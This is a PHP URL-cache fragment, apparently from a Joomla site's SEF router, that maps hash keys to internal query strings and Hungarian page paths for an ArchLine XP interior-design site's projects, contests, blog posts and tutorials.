+$this->_urlCache['8591dbe48ee0758d05cd8c846a7d7837']='index.php?option=com_content&Itemid=124&catid=38&id=370&lang=hu&view=article#projektek/lakberendezes/tomorfa-nappali-szekrenyek#0'; +$this->_urlCache['0dac5ac1e046f2d17bc19c9444ae45b6']='index.php?option=com_content&Itemid=124&catid=38&id=361&lang=hu&view=article#projektek/lakberendezes/loft-lakas#0'; +$this->_urlCache['42f30558635657474cbd14e0945371b0']='index.php?option=com_sppagebuilder&Itemid=489&id=170&lang=hu&view=page#oktatas/oktato-videok/oktato-videok-belsoepiteszet-2/latvanytervezes-belsoepiteszet-2#0'; +$this->_urlCache['db23bc04133c916ac969dc0ce2e5db1d']='index.php?option=com_sppagebuilder&Itemid=489&id=170&lang=hu&layout=edit&tmpl=component&view=form#170-latvanytervezes-belsoepiteszet-2-mozaik/edit#0'; +$this->_urlCache['14c336ef4b9d507873f6de2a642c94cb']='index.php?option=com_content&Itemid=366&catid=24&id=915&lang=hu&view=article#blog/munkak-bemutatasa/nagy-livia-vizsgamunkaja-az-archline-xp-vel-2#0'; +$this->_urlCache['5c8511b3caf4c61ecd84e73afc23ba3b']='index.php?option=com_sppagebuilder&Itemid=160&id=4&lang=hu&layout=edit&tmpl=component&view=form#4-archline-xp/edit#0'; +$this->_urlCache['32c0f01ec6599853c893fb55868d0d9e']='index.php?option=com_sppagebuilder&Itemid=810&id=411&lang=hu&view=page#palyazatok/rendering-palyazat-2026/archline-d5-render#0'; +$this->_urlCache['da0732450f108768a01be83949f05e38']='index.php?option=com_sppagebuilder&Itemid=810&id=411&lang=hu&layout=edit&tmpl=component&view=form#edit/411#0'; +$this->_urlCache['9efc067ada80717e6c0bbbeec57113d5']='index.php?option=com_content&Itemid=175&catid=20&id=639&lang=hu&view=article#palyazatok/honap-kepe/2018-januar#0'; +$this->_urlCache['daeb2945f83cffd8c43c84f6f6b566ce']='index.php?option=com_content&Itemid=366&catid=24&id=929&lang=hu&view=article#blog/munkak-bemutatasa/csapo-gabrirella-vizsgamunkaja-az-archline-xp-vel#0'; +$this->_urlCache['4c0deae255f5a8d9875a493836c784fd']='index.php?option=com_content&Itemid=366&catid=24&id=931&lang=hu&view=article#blog/munkak-bemutatasa/losz-ev-furdoszobaja-2022-kulondij-nyertese#0'; +$this->_urlCache['3fcd311f2ee0bc602382308cfe47a1bc']='index.php?option=com_content&Itemid=366&catid=24&id=909&lang=hu&view=article#blog/munkak-bemutatasa/barakka-nikoletta-vizsgamunkaja-az-archline-xp-vel#0'; +$this->_urlCache['757bebfd92d00ee75c363801bc692ea9']='index.php?option=com_content&Itemid=366&catid=24&id=899&lang=hu&view=article#blog/munkak-bemutatasa/z-nagy-czuprak-diana-vizsgamunkaja-az-archline-xp-vel#0'; +$this->_urlCache['ecfc99bf23b0cb7fbc0f1a41f6ab0466']='index.php?option=com_content&Itemid=366&catid=24&id=898&lang=hu&view=article#blog/munkak-bemutatasa/oceanparti-nyaralo-tervezo-schmidt-barbara#0'; +$this->_urlCache['3985a62a04f50bc068700f9dd5f7432e']='index.php?option=com_content&Itemid=366&catid=24&id=889&lang=hu&view=article#blog/munkak-bemutatasa/budai-ujepitesu-tarsashazi-lakas-szemelyre-szabva-tervezo-sallak-andrea#0'; +$this->_urlCache['643c667e18e1bca3a8501bc99e51a60f']='index.php?option=com_content&Itemid=366&catid=24&id=884&lang=hu&view=article#blog/munkak-bemutatasa/burgermeiszter-gabriella-vizsgamunkaja-az-archline-xp-vel#0'; +$this->_urlCache['478bed2701d1edf0b9b5d1619bfd444d']='index.php?option=com_content&Itemid=366&catid=24&id=885&lang=hu&view=article#blog/munkak-bemutatasa/elegans-letisztult-nappali-es-etkezo-kialakitasa-tervezo-sipos-anett#0'; +$this->_urlCache['3c82cd596f1846f17148095407d2ecf2']='index.php?option=com_content&Itemid=366&catid=24&id=868&lang=hu&view=article#blog/munkak-bemutatasa/klasszikus-hangulatu-budai-lakas-tervezo-nagy-gabriella#0'; +$this->_urlCache['112c235a2b47055af57b07d48ac3d76a']='index.php?option=com_content&Itemid=366&catid=24&id=844&lang=hu&view=article#blog/munkak-bemutatasa/cornides-viktoria#0'; +$this->_urlCache['ef3fa220f096e88a7c9441b0f5beb987']='index.php?option=com_content&Itemid=366&catid=24&id=829&lang=hu&view=article#blog/munkak-bemutatasa/kamaras-borbala-lakasfelujitas-az-archline-xp-vel#0'; +$this->_urlCache['1e830ed1dff396e4ad1110b1f959431c']='index.php?option=com_content&Itemid=366&catid=24&id=751&lang=hu&view=article#blog/munkak-bemutatasa/amikor-a-kenyszer-nagy-ur-tervezo-bogar-laszlo-es-elek-miklos#0'; +$this->_urlCache['0623914217af62fe619d76c2cf93de3f']='index.php?option=com_content&Itemid=124&catid=39&id=392&lang=hu&view=article#projektek/konyha/ives-konyha#0'; +$this->_urlCache['f381bc787b1d8943ec1dbf4c54b35842']='index.php?option=com_content&Itemid=124&catid=22&id=531&lang=hu&view=article#palyazatok/evszak-hangulatmontazsa/2016-tavasz#0'; +$this->_urlCache['ba8d1fd6893edbd4d347b32885e8161b']='index.php?option=com_content&Itemid=175&catid=20&id=590&lang=hu&view=article#palyazatok/honap-kepe/2017-majus#0'; +$this->_urlCache['3359313e60ac96e99646cfd830bdb2c0']='index.php?option=com_content&Itemid=366&catid=24&id=1011&lang=hu&view=article#blog/munkak-bemutatasa/letisztult-elegancia-es-funkcionalitas#0'; +$this->_urlCache['140352008e46ebca10c1ff101db0f1ca']='index.php?option=com_content&Itemid=360&id=545&lang=hu&view=article#oktatas/iskolak/oktatoi-vizsga/archlinexp-interior-oktatoi-vizsga-felkeszito-anyagok#0'; +$this->_urlCache['82f1f37851475793d07d01417546829f']='index.php?option=com_sppagebuilder&Itemid=476&id=157&lang=hu&layout=edit&tmpl=component&view=form#157-stilusok-alapok-2-mozaik/edit#0'; +$this->_urlCache['df437338f6914944c38a4eef08286353']='index.php?option=com_sppagebuilder&Itemid=464&id=145&lang=hu&layout=edit&tmpl=component&view=form#145-oktato-videok-uj/edit#0'; +$this->_urlCache['d614017396f13f3555b347af0e7165ca']='index.php?option=com_content&Itemid=124&catid=42&id=525&lang=hu&view=article#archline-xp/hirek/teletextil-szakmai-kiadvany-2016-teli-szam#0'; +$this->_urlCache['9092e62b53bb1c83fc5716280284113c']='index.php?option=com_sppagebuilder&Itemid=487&id=168&lang=hu&layout=edit&tmpl=component&view=form#168-tarolo-butorok-belsoepiteszet-2-mozaik/edit#0'; +$this->_urlCache['a1231cc064edd05fb3471157252976f4']='index.php?option=com_sppagebuilder&Itemid=490&id=171&lang=hu&layout=edit&tmpl=component&view=form#171-elektromos-szerelvenyek-belsoepiteszet-2-mozaik/edit#0'; +$this->_urlCache['6d926034b04ccd28d3b266dc732e68ee']='index.php?option=com_content&id=580&lang=hu&view=article#karbantartas/hirlevel-leiratkozas-sikeres#0'; +$this->_urlCache['0e7af967fd839c2c3326152dd5c61a1c']='index.php?option=com_sppagebuilder&Itemid=482&id=163&lang=hu&layout=edit&tmpl=component&view=form#163-dokumentacio-belsoepiteszet-1-mozaik/edit#0'; +$this->_urlCache['93b47e3c77c9fd5794527378c0326d8c']='index.php?option=com_sppagebuilder&Itemid=492&id=173&lang=hu&layout=edit&tmpl=component&view=form#173-fodem-ferde-fodem-epiteszet-1-mozaik/edit#0'; +$this->_urlCache['1c4b74ce4eb8cce6096e8e0d96545c3e']='index.php?option=com_content&Itemid=175&format=feed&id=20&lang=hu&layout=blog&limit=31&limitstart=31&type=atom&view=category#palyazatok/honap-kepe/feed/atom/Page-2-31#0'; +$this->_urlCache['b77bfc7dab49c73ef030c28aeadcc4c6']='index.php?option=com_content&Itemid=175&format=feed&id=20&lang=hu&layout=blog&limit=31&limitstart=93&type=atom&view=category#palyazatok/honap-kepe/feed/atom/Page-4-31#0'; +$this->_urlCache['001ea07218246f6cb687ee5167114808']='index.php?option=com_content&Itemid=175&format=feed&id=20&lang=hu&layout=blog&limit=31&limitstart=62&type=atom&view=category#palyazatok/honap-kepe/feed/atom/Page-3-31#0'; +$this->_urlCache['2f2030e370f046dcb333866d66aaca78']='index.php?option=com_content&Itemid=366&catid=24&id=945&lang=hu&view=article#blog/munkak-bemutatasa/arezzo-furdoszoba-tervezesi-palyazat-2022-kulondij-nyertese#0'; +$this->_urlCache['df7e2e4b0c8ace50312bd72c500036ee']='index.php?option=com_content&Itemid=366&catid=24&id=1064&lang=hu&view=article#blog/munkak-bemutatasa/az-art-deco-es-a-funkcionalitas-tokeletes-otvozese#0'; +$this->_urlCache['d22efe065ddf2b084a30a9b5a01daab1']='index.php?option=com_content&Itemid=124&format=feed&id=15&lang=hu&type=rss&view=category#blog/feed/rss#0'; +$this->_urlCache['a05d506f6d2a6c3c622875cddc8627d5']='index.php?option=com_content&Itemid=124&format=feed&id=15&lang=hu&type=atom&view=category#blog/feed/atom#0'; +$this->_urlCache['b5873c13df112d7fefe1e44e767f51de']='index.php?option=com_content&Itemid=124&catid=15&id=1019&lang=hu&view=article#blog/al-letoltes-2024-beta#0'; +$this->_urlCache['1f2d136b6d399a93aef17a5f6bb91aff']='index.php?option=com_content&Itemid=124&catid=15&id=680&lang=hu&view=article#blog/honap-kepe-video#0'; +$this->_urlCache['f5a4e7e365effec0031c19c87b82542a']='index.php?option=com_sppagebuilder&Itemid=572&id=221&lang=hu&layout=edit&tmpl=component&view=form#221-archline-xp-attekintes/edit#0'; +$this->_urlCache['c90c8e8f21659b74c6fd68e74f9a7fbb']='index.php?option=com_content&Itemid=366&catid=24&id=953&lang=hu&view=article#blog/munkak-bemutatasa/pal-zsuzsanna-munkai-az-archline-xp-live-val#0'; +$this->_urlCache['6d51d7438e59f0d53c3866ba5e18b5f7']='index.php?option=com_content&Itemid=366&catid=24&id=1002&lang=hu&view=article#blog/munkak-bemutatasa/regi-es-modern-stilus-harmoniaja#0'; +$this->_urlCache['e202974bb2a8b16f31455f23d0c83faa']='index.php?option=com_sppagebuilder&Itemid=668&id=303&lang=hu&layout=edit&tmpl=component&view=form#edit/303#0'; +$this->_urlCache['0ff2da3b2753df13261351b97a1242b0']='index.php?option=com_sppagebuilder&Itemid=269&id=69&lang=hu&layout=edit&tmpl=component&view=form#69-dokumentacio-keszites/edit#0'; +$this->_urlCache['4640a3f6f0fb468133e32d1fa3fd428d']='index.php?option=com_sppagebuilder&Itemid=431&id=126&lang=hu&layout=edit&tmpl=component&view=form#126-2018-as-ujdonsagok/edit#0'; +$this->_urlCache['052388aa3f9578a937aac34acbe2fc09']='index.php?option=com_content&Itemid=176&format=feed&id=21&lang=hu&layout=blog&limit=11&limitstart=11&type=atom&view=category#palyazatok/ev-kepe/feed/atom/Page-2-11#0'; +$this->_urlCache['fc57e51427623e11fafc28231b59ebbe']='index.php?option=com_content&Itemid=366&catid=24&id=1065&lang=hu&view=article#blog/munkak-bemutatasa/modern-luxus-es-vintage-elegancia#0'; +$this->_urlCache['04a7becb017f5a4cf321da39a300108e']='index.php?option=com_content&Itemid=366&catid=24&id=1054&lang=hu&view=article#blog/munkak-bemutatasa/kovacs-klauida-konyha#0'; +$this->_urlCache['feed4a11d105062fff87d31e1695948b']='index.php?option=com_content&Itemid=366&catid=24&id=1032&lang=hu&view=article#blog/munkak-bemutatasa/francia-country-kohaz-a-to-partjan#0'; +$this->_urlCache['6dbabd8480b06c10b354440ee5a03227']='index.php?option=com_content&Itemid=366&catid=24&id=1035&lang=hu&view=article#blog/munkak-bemutatasa/lenyugozo-furdoszoba-tervek-az-ev-legjobbjai-ondre-vivien#0'; +$this->_urlCache['0688ecab0f640b548f9f26ac57d1ec6c']='index.php?option=com_content&Itemid=366&catid=24&id=1031&lang=hu&view=article#blog/munkak-bemutatasa/modern-tradicionalis-loft-lakas#1'; +$this->_urlCache['581d058684306b9cea4c4df500239c27']='index.php?option=com_content&Itemid=366&catid=24&id=1026&lang=hu&view=article#blog/munkak-bemutatasa/roman-timea-losz-ev-lakberendezoje-palyazat-kozonsegdijasa#0'; +$this->_urlCache['cea455b7be0635a7dd080311132ebf59']='index.php?option=com_content&Itemid=366&catid=24&id=1023&lang=hu&view=article#blog/munkak-bemutatasa/csaladias-hangulat-praktikus-funkcionalitas#1'; +$this->_urlCache['7e119c449a9cfec8153ef3656fd6b403']='index.php?option=com_content&Itemid=124&format=feed&id=37&lang=hu&type=rss&view=category#projektek/epiteszet/feed/rss#0'; +$this->_urlCache['d4792fee4263d7db891f068a2006a793']='index.php?option=com_content&Itemid=124&format=feed&id=37&lang=hu&type=atom&view=category#projektek/epiteszet/feed/atom#0'; +$this->_urlCache['5b059546b65131449ec97d9344511c23']='index.php?option=com_content&Itemid=124&catid=37&id=379&lang=hu&view=article#projektek/epiteszet/moncucco-sondrio#0'; +$this->_urlCache['bf70016f0fcfb5972c3bd4644116fcdc']='index.php?option=com_content&Itemid=124&format=feed&id=39&lang=hu&type=rss&view=category#projektek/konyha/feed/rss#0'; +$this->_urlCache['042fcbd9b3095687195247ed02c1f364']='index.php?option=com_content&Itemid=124&format=feed&id=39&lang=hu&type=atom&view=category#projektek/konyha/feed/atom#0'; +$this->_urlCache['ad99fd7c6a3f3c5834666be7d7655ada']='index.php?option=com_content&Itemid=366&catid=24&id=956&lang=hu&view=article#blog/munkak-bemutatasa/modern-letisztult-nappali-latvanytervei-tervezo-toth-adrienn#0'; +$this->_urlCache['e11b0d08edbbd63b1e96c8a85463cc04']='index.php?option=com_sppagebuilder&Itemid=784&id=387&lang=hu&layout=edit&tmpl=component&view=form#edit/387#0'; +$this->_urlCache['e0bedbe9b0d601b73157cee0a788e984']='index.php?option=com_content&Itemid=366&catid=24&id=1014&lang=hu&view=article#blog/munkak-bemutatasa/kandallotol-a-szaunaig-az-alomhaz-megszuletik#0'; +$this->_urlCache['2846335e9dc10a3ee37a7ae1f54499fa']='index.php?option=com_content&Itemid=366&catid=24&id=1013&lang=hu&view=article#blog/munkak-bemutatasa/hozd-otthonodba-a-termeszetet#0'; +$this->_urlCache['a1ed1f9f7afe9cd87b1dc2e2a40dc805']='index.php?option=com_content&Itemid=366&catid=24&id=994&lang=hu&view=article#blog/munkak-bemutatasa/svajci-minimal-stilus-interior#0'; +$this->_urlCache['2c113312aae314f8637ae1c6fcfdf491']='index.php?option=com_content&Itemid=366&catid=24&id=981&lang=hu&view=article#blog/munkak-bemutatasa/losz-ev-lakberendezoje-palyazat-2022-kulondij-nyertese#0'; +$this->_urlCache['518f4e031e3a7e39130fd6496a323324']='index.php?option=com_content&Itemid=366&catid=24&id=962&lang=hu&view=article#blog/munkak-bemutatasa/dr-neubrandtne-hargas-mariann-vizsgamunkaja-az-archline-xp-vel#0'; +$this->_urlCache['d95c0282e74a9abd488c619fc10f51ae']='index.php?option=com_content&Itemid=366&catid=24&id=974&lang=hu&view=article#blog/munkak-bemutatasa/ferik-judit-vizsgamunkaja-az-archline-xp-vel#0'; +$this->_urlCache['ec8bf8cbfdea772a53c5e3e77341162f']='index.php?option=com_content&Itemid=366&catid=24&id=972&lang=hu&view=article#blog/munkak-bemutatasa/juhasz-reka-vizsgamunkaja-az-archline-xp-vel#0'; +$this->_urlCache['c440a0fe857f27744bdfe5fc16e446aa']='index.php?option=com_content&Itemid=366&catid=24&id=954&lang=hu&view=article#blog/munkak-bemutatasa/doka-betty-munkai-az-archline-xp-live-val#0'; +$this->_urlCache['4a9e193a257abcace5914769e0f83d4b']='index.php?option=com_sppagebuilder&Itemid=464&id=145&lang=hu&view=page#oktatas/oktato-videok#0'; +$this->_urlCache['f396abb20f690fb3c1670f459df8b886']='index.php?option=com_sppagebuilder&Itemid=503&id=184&lang=hu&layout=edit&tmpl=component&view=form#184-metszetek-es-nezetek-epiteszet-2-mozaik/edit#0'; +$this->_urlCache['85072967ac2122d35b3641b332eb995c']='index.php?option=com_sppagebuilder&Itemid=797&id=399&lang=hu&layout=edit&tmpl=component&view=form#edit/399#0'; +$this->_urlCache['06cd0ddd27314e905cdb07a8c41a7895']='index.php?option=com_sppagebuilder&Itemid=478&id=159&lang=hu&layout=edit&tmpl=component&view=form#159-nappali-belsoepiteszet-1-mozaik/edit#0'; +$this->_urlCache['74dfd5170752b19cfe0b1b6b7adee716']='index.php?option=com_sppagebuilder&Itemid=591&id=240&lang=hu&layout=edit&tmpl=component&view=form#edit/240#0'; +$this->_urlCache['0e1f0ba960ffeed929bb43bd519b32d6']='index.php?option=com_sppagebuilder&Itemid=660&id=299&lang=hu&layout=edit&tmpl=component&view=form#edit/299#0'; +$this->_urlCache['b6fba022ad347362d32ff6137ca9f86a']='index.php?option=com_content&Itemid=175&catid=20&id=512&lang=hu&view=article#palyazatok/honap-kepe/2016-november#0'; +$this->_urlCache['2856eff24ae592fd1958c49722e569fa']='index.php?option=com_sppagebuilder&Itemid=465&id=152&lang=hu&layout=edit&tmpl=component&view=form#152-oktato-videok-alapok-1/edit#0'; +$this->_urlCache['997df661f648ee91e8f916da54fab9fc']='index.php?option=com_sppagebuilder&Itemid=510&id=192&lang=hu&layout=edit&tmpl=component&view=form#192-objektumkezeles-alapok-2-mozaik/edit#0'; +$this->_urlCache['73b3e1b4f47c09db76a0a6a94bd05955']='index.php?option=com_content&Itemid=124&catid=42&id=564&lang=hu&view=article#archline-xp/hirek/archline-xp-ifc-coordination-view-2-0-import-tanusitvany#0'; +$this->_urlCache['88619b008b91d6f2c2211ab17a18cd66']='index.php?option=com_content&Itemid=564&id=746&lang=hu&view=article#palyazatok/honap-kepe-live-szavazas#0'; +$this->_urlCache['83a709d3b4aea06999c62bad5ad22ae6']='index.php?option=com_sppagebuilder&Itemid=542&id=197&lang=hu&layout=edit&tmpl=component&view=form#197-epulettervezes-lepesrol-lepesre-alapok-2-mozaik/edit#0'; +$this->_urlCache['21ea97cf8e9f15208d2236ffa9458149']='index.php?option=com_sppagebuilder&Itemid=321&id=62&lang=hu&layout=edit&tmpl=component&view=form#62-driverek/edit#0'; +$this->_urlCache['01371832d3562e14ff5c596a42ec0709']='index.php?option=com_sppagebuilder&Itemid=486&id=166&lang=hu&layout=edit&tmpl=component&view=form#166-szinek-es-texturak-belsoepiteszet-2-mozaik/edit#0'; +$this->_urlCache['b9a7767bb44a6a99fe4d98b8b915952c']='index.php?option=com_sppagebuilder&Itemid=540&id=193&lang=hu&layout=edit&tmpl=component&view=form#193-fuggonyok-arnyekolok-belsoepiteszet-2-mozaik/edit#0'; +$this->_urlCache['7f31df81e38c63fad3e8522523a79ff3']='index.php?option=com_sppagebuilder&Itemid=493&id=174&lang=hu&layout=edit&tmpl=component&view=form#174-ajto-es-ablak-epiteszet-1-mozaik/edit#0'; +$this->_urlCache['a8e35329f78827ae7e7f32aa85973d06']='index.php?option=com_content&Itemid=176&catid=21&id=536&lang=hu&view=article#palyazatok/ev-kepe/az-ev-kepe-2014#0'; +$this->_urlCache['237bb6a6d22fd29325fcbb47f1b19321']='index.php?option=com_content&Itemid=175&catid=20&id=510&lang=hu&view=article#palyazatok/honap-kepe/2016-szeptember#0'; +$this->_urlCache['5cc3ba6fdc7561ecca70acc7d5eddcc2']='index.php?option=com_content&Itemid=175&catid=20&id=514&lang=hu&view=article#palyazatok/honap-kepe/2017-januar#0'; +$this->_urlCache['2735b98149ac2e99b8e3defcc94f47dd']='index.php?option=com_sppagebuilder&Itemid=469&id=151&lang=hu&layout=edit&tmpl=component&view=form#151-oktato-videok-epiteszet-1/edit#0'; +$this->_urlCache['09ee79d7417d63b983e3fa13d19f6486']='index.php?option=com_speasyimagegallery&Itemid=382&id=1&lang=hu&view=album#termekek/archline-xp-professional/galeria/belsoepiteszet#1'; +$this->_urlCache['5f92ca842848d26902f9eebe9aff58c3']='index.php?option=com_sppagebuilder&Itemid=340&id=96&lang=hu&layout=edit&tmpl=component&view=form#96-honap-kepe-kiiras/edit#0'; +$this->_urlCache['f7ae2de4804684a51f7c18ef23c6d6f7']='index.php?option=com_sppagebuilder&Itemid=508&id=189&lang=hu&layout=edit&tmpl=component&view=form#189-bim-konyvtarak-bim-mozaik/edit#0'; +$this->_urlCache['c732f2cb31dd22c0f978318fb01f118e']='index.php?option=com_sppagebuilder&Itemid=640&id=270&lang=hu&layout=edit&tmpl=component&view=form#edit/270#0'; +$this->_urlCache['5cdb3c8b26e46ad7a5146d944dbd3a67']='index.php?option=com_sppagebuilder&Itemid=283&id=76&lang=hu&layout=edit&tmpl=component&view=form#76-rendering/edit#0'; +$this->_urlCache['b02bbfff49221d34c066b5f01eb98631']='index.php?option=com_sppagebuilder&Itemid=762&id=334&lang=hu&layout=edit&tmpl=component&view=form#edit/334#0'; +$this->_urlCache['26ca9e3b29b4b99098892adaa8b85285']='index.php?option=com_content&Itemid=175&catid=20&id=578&lang=hu&view=article#palyazatok/honap-kepe/2017-aprilis#0'; +$this->_urlCache['86be86e3e3c5103a0c9dec2c206379fe']='index.php?option=com_content&Itemid=175&catid=20&id=604&lang=hu&view=article#palyazatok/honap-kepe/2017-augusztus#0'; +$this->_urlCache['5dac1e296e74ed7356ab6963b6077e7f']='index.php?option=com_content&Itemid=175&catid=20&id=626&lang=hu&view=article#palyazatok/honap-kepe/2017-december#0'; +$this->_urlCache['135cfa051f85923cf4739a5efea95c7c']='index.php?option=com_content&Itemid=175&catid=20&id=601&lang=hu&view=article#palyazatok/honap-kepe/2017-julius#0'; +$this->_urlCache['6ec367b8b693770c635871cb603bc33d']='index.php?option=com_content&Itemid=175&catid=20&id=598&lang=hu&view=article#palyazatok/honap-kepe/2017-junius#0'; +$this->_urlCache['cf0c8654d9268cdfe5b477365d80445f']='index.php?option=com_content&Itemid=175&catid=20&id=539&lang=hu&view=article#palyazatok/honap-kepe/2017-marcius#0'; +$this->_urlCache['c705d3fc6200bbb529dc193630607b51']='index.php?option=com_content&Itemid=175&catid=20&id=619&lang=hu&view=article#palyazatok/honap-kepe/2017-november#0'; +$this->_urlCache['42e96f5f2d47c132e4434edb0db96919']='index.php?option=com_content&Itemid=175&catid=20&id=616&lang=hu&view=article#palyazatok/honap-kepe/2017-oktober#0'; +$this->_urlCache['f1b8fa0c4b0472ed6734d9752adb622e']='index.php?option=com_content&Itemid=175&catid=20&id=608&lang=hu&view=article#palyazatok/honap-kepe/2017-szeptember#0'; +$this->_urlCache['c70a71fbb0fee6dabce5dbb35281232c']='index.php?option=com_content&Itemid=175&catid=20&id=653&lang=hu&view=article#palyazatok/honap-kepe/2018-aprilis#0'; +$this->_urlCache['a10de1a5b57f0340d49069904f96aacf']='index.php?option=com_content&Itemid=175&catid=20&id=682&lang=hu&view=article#palyazatok/honap-kepe/2018-augusztus#0'; +$this->_urlCache['51b7761735469281ca1d9dd8052ca9fb']='index.php?option=com_content&Itemid=175&catid=20&id=641&lang=hu&view=article#palyazatok/honap-kepe/2018-februar#0'; +$this->_urlCache['f85732db10f83b19600f2e445c49f6dd']='index.php?option=com_content&Itemid=175&catid=20&id=676&lang=hu&view=article#palyazatok/honap-kepe/2018-julius#0'; +$this->_urlCache['b114c887c2d7fa06ab99dc7ebf1956b1']='index.php?option=com_content&Itemid=175&catid=20&id=661&lang=hu&view=article#palyazatok/honap-kepe/2018-majus#0'; +$this->_urlCache['2551879f497c1feab89b9d68038c068a']='index.php?option=com_content&Itemid=175&catid=20&id=646&lang=hu&view=article#palyazatok/honap-kepe/2018-marcius#0'; +$this->_urlCache['b5227bdd07ff2cea0b5e5145987c756c']='index.php?option=com_content&Itemid=175&catid=20&id=695&lang=hu&view=article#palyazatok/honap-kepe/2018-oktober#0'; +$this->_urlCache['7c7df94e97d71d7f09ac00cb0aff1650']='index.php?option=com_content&Itemid=175&catid=20&id=686&lang=hu&view=article#palyazatok/honap-kepe/2018-szeptember#0'; +$this->_urlCache['cca3538a9aba2c1ff2b440f94c51dc41']='index.php?option=com_content&Itemid=175&catid=20&id=742&lang=hu&view=article#palyazatok/honap-kepe/2019-aprilis#0'; +$this->_urlCache['c104ac5a930ecab495568be786f7d847']='index.php?option=com_content&Itemid=175&catid=20&id=791&lang=hu&view=article#palyazatok/honap-kepe/2019-december#0'; +$this->_urlCache['61caed7b2d8cd414ef26c78dd8c1bb16']='index.php?option=com_content&Itemid=175&catid=20&id=723&lang=hu&view=article#palyazatok/honap-kepe/2019-februar#0'; +$this->_urlCache['03f977957f77fae53fbf62538372c527']='index.php?option=com_content&Itemid=175&catid=20&id=714&lang=hu&view=article#palyazatok/honap-kepe/2019-januar#0'; +$this->_urlCache['a715799cc2cf64c3e28c28b6fa61ef66']='index.php?option=com_content&Itemid=175&catid=20&id=765&lang=hu&view=article#palyazatok/honap-kepe/2019-julius#0'; +$this->_urlCache['eabb7fd5f0ee5124cf8050f5f22d22bf']='index.php?option=com_content&Itemid=175&catid=20&id=760&lang=hu&view=article#palyazatok/honap-kepe/2019-junius#0'; +$this->_urlCache['4caeb703f9aa8feb26242d243e04677c']='index.php?option=com_content&Itemid=175&catid=20&id=752&lang=hu&view=article#palyazatok/honap-kepe/2019-majus#0'; +$this->_urlCache['6cd6b3b005d5989234a709ff1d30f649']='index.php?option=com_content&Itemid=175&catid=20&id=729&lang=hu&view=article#palyazatok/honap-kepe/2019-marcius#0'; +$this->_urlCache['4f900de824a5682dc7fff5a2bf513202']='index.php?option=com_content&Itemid=175&catid=20&id=786&lang=hu&view=article#palyazatok/honap-kepe/2019-november#0'; +$this->_urlCache['2c74755a2e44807d6e3809f4e29a69f5']='index.php?option=com_sppagebuilder&Itemid=507&id=188&lang=hu&layout=edit&tmpl=component&view=form#188-az-ifc-fajl-formatum-bim-mozaik/edit#0'; +$this->_urlCache['fa50834aa548a784acded98bd0220c20']='index.php?option=com_tags&id=66&lang=hu&view=tag#tag/66#0'; +$this->_urlCache['d0e9521e0e1426d6ec3560204c3f4ed5']='index.php?option=com_sppagebuilder&Itemid=430&id=125&lang=hu&layout=edit&tmpl=component&view=form#125-jelentkezesek/edit#0'; +$this->_urlCache['e74357abfac6df5d41f6487e3a816115']='index.php?option=com_sppagebuilder&Itemid=275&id=68&lang=hu&layout=edit&tmpl=component&view=form#68-2-napos-intenziv-kezdo-kurzus/edit#0'; +$this->_urlCache['852f17a91ff04f2869f9495add78a8ec']='index.php?option=com_sppagebuilder&Itemid=541&id=194&lang=hu&layout=edit&tmpl=component&view=form#194-webinar-lepcsok/edit#0'; +$this->_urlCache['3d0067d6b1a60ce497da20305baefac3']='index.php?option=com_sppagebuilder&Itemid=509&id=190&lang=hu&layout=edit&tmpl=component&view=form#190-egyuttmukodes-bim-mozaik/edit#0'; +$this->_urlCache['976fbebd9b1a677246d641116555687f']='index.php?option=com_sppagebuilder&Itemid=553&id=206&lang=hu&layout=edit&tmpl=component&view=form#206-csapatmunka-bim-mozaik/edit#0'; +$this->_urlCache['7f4169d0635d6831d23e649a9901f059']='index.php?option=com_tags&id=87&lang=hu&view=tag#tag/87#0'; +$this->_urlCache['0a6ae8054b0fb375ffddd8deb26aa04b']='index.php?option=com_sppagebuilder&Itemid=480&id=161&lang=hu&layout=edit&tmpl=component&view=form#161-furdoszoba-belsoepiteszet-1-mozaik/edit#0'; +$this->_urlCache['b7a2c6ad999dd6ed9b1e20dcf17e18af']='index.php?option=com_sppagebuilder&Itemid=405&id=117&lang=hu&layout=edit&tmpl=component&view=form#117-epiteszeti-eszkozok/edit#0'; +$this->_urlCache['bd5bef4f30d166d170b74a67bd0fa62c']='index.php?option=com_content&Itemid=367&format=feed&id=25&lang=hu&limit=31&limitstart=0&type=atom&view=category#blog/szakmai-cikkek/feed/atom#0'; +$this->_urlCache['0a6b607d99f0ea61865ee91149bebbe7']='index.php?option=com_sppagebuilder&Itemid=474&id=155&lang=hu&layout=edit&tmpl=component&view=form#155-import-alapok-1-mozaik/edit#0'; +$this->_urlCache['d7c304a25a0f4f52dcf1c85877e10b50']='index.php?option=com_sppagebuilder&Itemid=274&id=67&lang=hu&view=page#oktatas/workshopok/5-napos-intenziv-kezdo-kurzus#0'; +$this->_urlCache['dcc9e6feb9d78d464b664faa1df62c1d']='index.php?option=com_sppagebuilder&Itemid=483&id=164&lang=hu&layout=edit&tmpl=component&view=form#164-fenyek-belsoepiteszet-1-mozaik/edit#0'; +$this->_urlCache['0fbdc536afd8c12a106073917e682cb1']='index.php?option=com_sppagebuilder&Itemid=224&id=47&lang=hu&layout=edit&tmpl=component&view=form#47-epiteszeti-elonyok/edit#0'; +$this->_urlCache['928791e4c3809840e04c7661748acfe1']='index.php?option=com_content&Itemid=367&format=feed&id=25&lang=hu&limit=31&limitstart=31&type=atom&view=category#blog/szakmai-cikkek/feed/atom/Page-2-31#0'; +$this->_urlCache['13035b20d245b5619cd8367ae76eb049']='index.php?option=com_sppagebuilder&Itemid=611&id=263&lang=hu&view=page#termekek/archline-xp-live-old#1'; +$this->_urlCache['5d1ca1423aa409372ee2d48c6e2a92a8']='index.php?option=com_content&Itemid=367&format=feed&id=25&lang=hu&limit=31&limitstart=0&type=rss&view=category#blog/szakmai-cikkek/feed/rss#0'; +$this->_urlCache['41a8d2008ab9f15382f64ce6cc984bc8']='index.php?option=com_content&Itemid=366&format=feed&id=24&lang=hu&limit=31&limitstart=0&type=atom&view=category#blog/munkak-bemutatasa/feed/atom#0'; +$this->_urlCache['56c771a9a2b7b8899b81278c63320343']='index.php?option=com_content&Itemid=366&format=feed&id=24&lang=hu&limit=31&limitstart=62&type=atom&view=category#blog/munkak-bemutatasa/feed/atom/Page-3-31#0'; +$this->_urlCache['fdcbf481f9cf2c0ab429a17c161adf63']='index.php?option=com_content&Itemid=366&format=feed&id=24&lang=hu&limit=31&limitstart=155&type=atom&view=category#blog/munkak-bemutatasa/feed/atom/Page-6-31#0'; 